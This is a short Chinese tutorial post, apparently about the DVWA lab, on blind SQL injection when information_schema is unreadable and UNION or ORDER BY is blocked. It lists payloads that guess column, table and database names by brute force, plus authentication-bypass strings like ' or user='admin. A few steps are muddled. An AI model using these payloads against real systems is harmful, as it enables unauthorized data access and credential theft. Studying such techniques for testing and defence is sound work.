SQL注入:3、无权读取information_schema库和拒绝union、order by语句
生活随笔
收集整理的這篇文章主要介紹了
SQL注入:3、无权读取information_schema库和拒绝union、order by语句
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
3、無權讀取information_schema庫和拒絕union、order by語句
- information_schema:
- 3、
information_schema:
想要查詢這張表,必須是root賬戶,所以他的限制就會很多,所以這種方法一般是不可行的
3、
猜測列名:
輸入:'and abc is null –
輸入:'and user is null –
無結果,說明在表中存在這樣的列。
ps: colum_name的替換需要用一個字典可以對多個猜測進行快速篩選
用burpsuit的intruder進行字典查找(find / -name *.colum*.txt)
去除字典中#開頭的行:cat 文件名 | grep -v ^# > column.txt
根據長度來判斷是否存在
猜表名:
輸入:'and table.user is null –
同猜列名相同
猜數據庫名:
輸入:'and db.table.user is null –
同猜數據庫相同
猜其他表的表名:
輸入:'and (select dvwa from users)>0 –
查詢到其他的表
猜表中記錄內容:
輸入:’ or user='admin
輸入:'or user like '%a%
猜賬號對應密碼:
’ or user=‘admin’ and password='MD5
MD5獲取:md5sum 字符串
總結
以上是生活随笔為你收集整理的SQL注入:3、无权读取information_schema库和拒绝union、order by语句的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: LayoutInflater作用及使用
- 下一篇: Visual Studio 2010/2